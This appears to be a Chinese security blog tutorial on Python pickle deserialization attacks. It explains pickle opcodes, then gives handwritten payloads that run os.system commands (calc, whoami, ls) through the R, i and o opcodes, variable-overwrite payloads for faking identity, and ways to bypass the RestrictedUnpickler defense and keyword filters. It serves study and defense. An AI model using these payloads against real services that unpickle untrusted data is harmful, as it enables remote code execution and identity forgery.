目录

  1. 1. 前言
  2. 2. Pickle基础
    1. 2.1. 能够序列化的对象
    2. 2.2. 常见方法及接口
    3. 2.3. 工作原理
    4. 2.4. 常用的opcode
    5. 2.5. pickletools
  3. 3. 反序列化
  4. 4. 漏洞利用
    1. 4.1. 命令执行
      1. 4.1.1. R
      2. 4.1.2. i
      3. 4.1.3. o
    2. 4.2. 实例化对象
    3. 4.3. 变量覆盖
  5. 5. 生成序列化的opcode
    1. 5.1. 重写__reduce__方法生成
    2. 5.2. Pker工具
      1. 5.2.1. 作用
      2. 5.2.2. 使用方法
  6. 6. 修复
  7. 7. 绕过RestrictedUnpickler限制
    1. 7.1. 绕过builtins
      1. 7.1.1. code-breaking 2018 picklecode
    2. 7.2. 绕过R指令
      1. 7.2.1. i指令
      2. 7.2.2. o指令
      3. 7.2.3. b指令
    3. 7.3. 绕过关键字过滤
      1. 7.3.1. 利用V指令进行Unicode绕过
      2. 7.3.2. 十六进制绕过
      3. 7.3.3. 利用内置函数获取关键字
      4. 7.3.4. 拼接绕过

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

pickle反序列化

2023/9/2 Web python 反序列化
  |     |   总文章阅读量:

前言

主要参考枫的博客


Pickle基础

pickle是Python中一个能够序列化和反序列化对象的模块

和java反序列化相似

在Python中,Pickling 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 unpickling 是相反的操作,会将字节流转化回一个对象层次结构

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

demo:

import pickle

class Person():
    def __init__(self):
        self.age = 19
        self.name = "C1oudfL0w0"

p = Person()
opcode = pickle.dumps(p)
print(opcode)
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

执行得到

image-20230915221256156

很明显,我们通过pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式

然后使用pickle.loads()将一串二进制字节流反序列化为一个Person对象

能够序列化的对象

官方文档

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

常见方法及接口

pickle.dump(obj, file, protocol=None, *, fix_imports=True)
pickle.dumps(obj, protocol=None, *, fix_imports=True)

将打包好的对象 obj 写入文件中

obj 打包以后的对象作为bytes类型直接返回

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

从 文件/data 中读取二进制字节流,将其反序列化为一个对象并返回

object.__reduce__()

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行

Python要求这个方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...


工作原理

我们上文提到了,pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。(对,就是webpwn)

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到.这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回
  • stack:由 Python 的 list实现,被用来临时存储数据、参数以及对象
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

image-20230915234658129

常用的opcode

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

demo:

import pickle

opcode=b'''cos
system
(S'calc'
tR.'''
pickle.loads(opcode)

image-20230915235438731

可以看到这段代码也能弹计算器,效果和第一个demo是一样的,不同的是一个是reduce魔术方法触发,一个是我们自己写opcode来触发,pickle.loads对应的是R阶段,也就是弹出的阶段

具体分析:

cos
system   #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack
(S'calc'   #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'calc'并将其压入stack
tR.      #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('calc')
#字节码为.,程序结束,将栈顶元素os.system('calc')作为返回值

pickletools

我们可以使用pickletools模块,将opcode转化成方便我们阅读的形式

import pickletools
 
opcode=b'''cos
system
(S'calc'
tR.'''
pickletools.dis(opcode)

image-20230916002059010


反序列化

和java反序列化一样,pickle的不安全因素在于反序列化未知的二进制字节流,也就是说通过构造字节流就能实现命令执行

demo:

import pickle
import os
 
class Person():
    def __init__(self):
        self.age=19
        self.name="C1oudfL0w0"
    def __reduce__(self):
        command=r"calc"
        return (os.system,(command,))
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

我在Person类中加入了__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。

返回值是一个(callable, ([para1,para2...])[,...])类型的元组。

当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。

因此当上述的Person对象被unpickling时,就会执行os.system(command)

image-20230915222708782


漏洞利用

命令执行

上文我们已经提到了,我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了

在opcode中,.是程序结束的标志。我们可以通过去掉.来将两个字节流拼接起来

import pickle
 
opcode=b'''cos
system
(S'calc'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

image-20230916002359995

不过,在pickle中,和函数执行的字节码有三个:Rio,所以我们可以从三个方向构造payload

R

opcode1=b'''cos
system
(S'calc'
tR.'''

i

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode2=b'''(S'calc'
ios
system
.'''

o

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode3=b'''(cos
system
S'calc'
o.'''

注:部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。


实例化对象

实例化对象也是一种特殊的函数执行,我们同样可以通过手写opcode来构造

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name

opcode=b'''c__main__
Person
(I19
S'C1oudfL0w0'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)

image-20230916002811406

以上opcode相当于手动执行了构造函数Person(19,'C1oudfL0w0')


变量覆盖

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影

程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份

假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造

secret.py

secret="This is a key"
import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'ciallo'
db.'''
fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)

image-20230916085943667

我们首先通过c来获取__main__.secret模块,然后将字符串secretciallo压入栈中,然后通过字节码d将两个字符串组合成字典{'secret':'ciallo'}的形式。

由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key",是以{'secret':'This is a key'}形式存储的。

最后再通过字节码b来执行__dict__.update(),即{'secret':'This is a key'}.update({'secret':'ciallo'}),因此最终secret变量的值被覆盖成了ciallo


生成序列化的opcode

重写__reduce__方法生成

import pickle  
  
class opcode(object):  
    def __reduce__(self):  
        return eval,("__import__(os).system('ls /')",)  
  
a=opcode()  
print(pickle.dumps(a))  

Pker工具

一个以遍历Python AST的形式来自动化解析pickle opcode的工具

github仓库

作用

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

使用方法

pker最主要的有三个函数GLOBAL()INST()OBJ()

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         =>  (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls')  =>  (cos\nsystem\nS'ls'\no

return可以返回一个对象

return           =>  .
return var       =>  g_\n.
return 1         =>  I1\n.

也可以与python的正常语法结合起来

#pker_test.py
 
i = 0
s = 'calc'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return

在命令行运行

python3 pker.py < pker_tests.py

image-20230919204720624

自动解析并生成了我们所需的opcode

运行一手,成功弹出计算器

image-20230919204928911

更多的使用方法可以参考官方repo


修复

对于pickle反序列化漏洞,官方的第一个建议就是永远不要unpickle来自于不受信任的或者未经验证的来源的数据。

第二个就是通过重写Unpickler.find_class()来限制全局变量

demo:

import builtins
import io
import pickle
 
safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}
 
class RestrictedUnpickler(pickle.Unpickler):
 
    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
 
 
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。

这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。


绕过RestrictedUnpickler限制

想要绕过find_class,我们则需要了解其何时被调用。在官方文档中描述如下:

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同,Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

在opcode中,ci\x93这三个字节码与全局对象有关,当出现这三个字节码时会调用find_class,当我们使用这三个字节码时不违反其限制即可。

绕过builtins

在上面的官方修法中出现了module=="builtins"这一限制,只允许我们导入builtins这一模块

if module == "builtins" and name in safe_builtins:
    return getattr(builtins, name)

builtins模块我们在python特性的时候已经说过了

我们可以查看该模块中包含的所有模块函数

for i in sys.modules['builtins'].__dict__:print(i)

大致如下:

image-20230919205909698

假如内置函数中一些执行命令的函数也被禁用了,而我们仍想命令执行,那么漏洞的利用思路就类似于pyjail

code-breaking 2018 picklecode

以上方法能够绕过对module和一些危险函数的限制,本质上仍然是对__reduce__函数的延伸。


绕过R指令

和函数执行有关的字节码有Rio,如果没有R指令,我们同样能够进行函数执行

demo:

import pickle
import Person
 
 
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category
 
 
    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(Person.name,Person.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(Person.name,Person.age))
# Person.py
name="Who"
age=114

这里禁用了R指令,但是我们仍有方法初始化一个Animal对象

上文提到过,使用R指令实例化对象的过程,实际上就是调用构造函数的过程,本质上也是函数执行

i指令

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode=b'''(S'Who'
I114
i__main__
Animal
.'''

image-20231015012242199

o指令

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode=b'''(c__main__
Animal
S'Who'
I114
o.'''

假如这里我们不知道Person模块的内容,我们可以通过变量覆盖的方式将原有Person中的变量覆盖掉

opcode=b'''c__main__
Person
(S'name'
S'Hacker'
S'age'
I514
db(c__main__
Animal
S'Hacker'
I514
o.'''

image-20231015012605607

b指令


绕过关键字过滤

利用V指令进行Unicode绕过

v指令能够实例化一个unicode字符串对象

(S'secret'
# 上下等价
(Vsecr\u0065t

十六进制绕过

操作码s能够识别十六进制字符串

(S'\x73ecret'

利用内置函数获取关键字

类似ssti和无参rce

对于已导入的模块,我们可以通过sys.modules['xxx']来获取该模块,然后通过内置函数dir()来列出模块中的所有属性

注:pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串

在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象,next()函数获取迭代对象的下一个元素

拼接绕过

这个方法本质上就是pyjail

image-20231126110528861